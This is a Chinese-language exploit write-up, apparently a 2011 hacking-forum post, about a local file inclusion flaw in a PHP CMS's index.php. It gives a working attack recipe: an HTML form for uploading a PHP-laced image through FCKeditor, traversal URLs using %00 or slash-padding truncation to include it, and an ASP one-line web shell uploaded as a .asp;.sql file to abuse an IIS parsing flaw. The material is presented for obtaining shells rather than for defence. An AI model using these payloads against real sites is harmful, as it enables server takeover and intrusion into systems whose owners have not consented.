#首发 www.3est.com
#发布作者 : 村长
#发布日期:2011-04.21
漏洞分析:
/index.php 源码
- /*--------------*/
- /*省略不必要代码*/
- /*--------------*/
- $_REQUEST = cleanArrayForMysql($_REQUEST);
- $_GET = cleanArrayForMysql($_GET);
- $_POST = cleanArrayForMysql($_POST);
- $request = $_REQUEST;
- //上面传参都进行字符串转义,对于 ../ 没有任何影响
- /*--------------*/
- /*省略不必要代码*/
- /*--------------*/
- $request['m'] = !isset($request['m'])?'':$request['m']; //m没有过滤
- $params['model'] = empty($request['m'])?$menu_arr['type']:$request['m'];
- $request['a'] = !isset($request['a'])?'':$request['a']; //a没有过滤
- $params['action'] = empty($request['a'])?'index':$request['a'];
- /*--------------*/
- /*省略不必要代码*/
- /*--------------*/
- function layout_part($style='')
- {
- global $params,$request;
- //如果本次升级影响了parts内sql的执行, 请手动注释destorydb函数体代码,切记不要删除
- destorydb();
- if(!empty($style)) $style = '_'.$style;
- $part_path=ABSPATH.'/skins/'.STYLENAME.'/parts/'.$params['model'].'_'.$params['action'].$style.'.php'; //含m和a参数的路径
- $content_part_path=ABSPATH.'/content/'.$params['model'].'/parts_'.$params['action'].'.php'; //含m和a参数的路径
- if(is_file($part_path))
- require_once($part_path); //包含漏洞出现 BY:村长
- elseif(is_file($content_part_path))
- require_once($content_part_path); //包含漏洞出现 BY:村长
- else
- echo $part_path;
- echo $content_part_path;
- echo '<span style="color:RED"><strong>您当前选择的信息所在的分类栏目或频道可能已经被删除或不存在,请检查一下,该信息所在的栏目情况以及栏目是
- 否存在!</strong></span>';
- // 如果本次升级影响了parts内sql的执行, 请手动注释如下代码recoverdb函数体代码,切记不要删除
- recoverdb();
- isComments();
- }
漏洞利用(前台 GETSHELL):
IIS或者某些apache版本下php文件系统可以进行路径截断,例如://///////////////////////////////// 或则%00
1.先上传PHP恶意代码的图片格式文件,复制上传源码 cun.html:
- <form id="frmUpload" enctype="multipart/form-data"
- action="http://127.0.0.1/editor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
- <input type="file" name="NewFile" size="50"><br>
- <input id="btnUpload" type="submit" value="Upload">
- </form>
.假设得到图片路径 /upload/Media/cunzhang.gif (利用的是FCK的,测试上传变"."为"_",FCK的不能直接上传为诸如1.asp;.jpg的文件的)
3.直接输入地址:http://127.0.0.1/?m=../upload/Media/cunzhang.gif%00
或则 输入 http://127.0.0.1/?m=../upload/Me ... ///////////////////(若干)
嗯,再给个后台拿SHELL的方法吧,方面给那些不能包含,能进后台的朋友说下
后台 GETSHELL:
依次点击 =》数据库管理=》数据库恢复=》浏览上传
上传文件cunzhang.asp;.sql 内容为 <%Y=request("cun")%> <%execute(Y)%>
得到地址http://127.0.0.1/temp/data/cunzhang.asp;.sql (利用IIS的解析漏洞,就是SHELL了)